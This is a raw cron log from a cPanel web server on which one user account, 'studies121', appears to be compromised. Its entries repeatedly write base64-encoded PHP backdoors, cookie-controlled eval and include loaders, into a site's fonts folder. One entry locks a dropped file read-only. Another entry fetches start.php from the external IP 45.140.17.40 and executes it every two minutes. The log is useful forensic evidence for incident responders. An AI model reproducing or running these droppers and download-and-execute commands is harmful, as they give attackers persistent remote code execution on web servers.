Sep  1 00:22:01 ip-184-168-122-23 CROND[18347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:22:01 ip-184-168-122-23 CROND[18349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:22:01 ip-184-168-122-23 CROND[18352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:22:01 ip-184-168-122-23 CROND[18351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:23:01 ip-184-168-122-23 CROND[18460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:23:01 ip-184-168-122-23 CROND[18461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:23:01 ip-184-168-122-23 CROND[18463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:23:01 ip-184-168-122-23 CROND[18462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:24:01 ip-184-168-122-23 CROND[18624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:24:01 ip-184-168-122-23 CROND[18626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:24:01 ip-184-168-122-23 CROND[18628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:24:01 ip-184-168-122-23 CROND[18627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:24:01 ip-184-168-122-23 CROND[18629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:25:01 ip-184-168-122-23 CROND[18996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:25:01 ip-184-168-122-23 CROND[19001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:25:01 ip-184-168-122-23 CROND[18998]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 00:25:01 ip-184-168-122-23 CROND[19002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:25:01 ip-184-168-122-23 CROND[18999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:25:01 ip-184-168-122-23 CROND[19000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:25:01 ip-184-168-122-23 CROND[19003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:26:01 ip-184-168-122-23 CROND[19090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:26:01 ip-184-168-122-23 CROND[19092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:26:01 ip-184-168-122-23 CROND[19094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:26:01 ip-184-168-122-23 CROND[19093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:26:01 ip-184-168-122-23 CROND[19096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:27:01 ip-184-168-122-23 CROND[19187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:27:01 ip-184-168-122-23 CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:27:01 ip-184-168-122-23 CROND[19190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:27:01 ip-184-168-122-23 CROND[19191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:28:01 ip-184-168-122-23 CROND[19274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:28:01 ip-184-168-122-23 CROND[19277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:28:01 ip-184-168-122-23 CROND[19278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:28:01 ip-184-168-122-23 CROND[19279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:28:01 ip-184-168-122-23 CROND[19280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:29:01 ip-184-168-122-23 CROND[19388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:29:01 ip-184-168-122-23 CROND[19389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:29:01 ip-184-168-122-23 CROND[19387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:29:01 ip-184-168-122-23 CROND[19390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19492]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:30:01 ip-184-168-122-23 CROND[19500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:30:01 ip-184-168-122-23 CROND[19501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:30:01 ip-184-168-122-23 CROND[19503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:31:01 ip-184-168-122-23 CROND[19682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:31:01 ip-184-168-122-23 CROND[19684]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:31:01 ip-184-168-122-23 CROND[19685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:31:01 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:31:01 ip-184-168-122-23 CROND[19687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:32:01 ip-184-168-122-23 CROND[19798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:32:01 ip-184-168-122-23 CROND[19800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:32:01 ip-184-168-122-23 CROND[19801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:32:01 ip-184-168-122-23 CROND[19802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:32:01 ip-184-168-122-23 CROND[19803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:33:01 ip-184-168-122-23 CROND[19891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:33:01 ip-184-168-122-23 CROND[19892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:33:01 ip-184-168-122-23 CROND[19893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:33:01 ip-184-168-122-23 CROND[19895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:34:01 ip-184-168-122-23 CROND[19975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
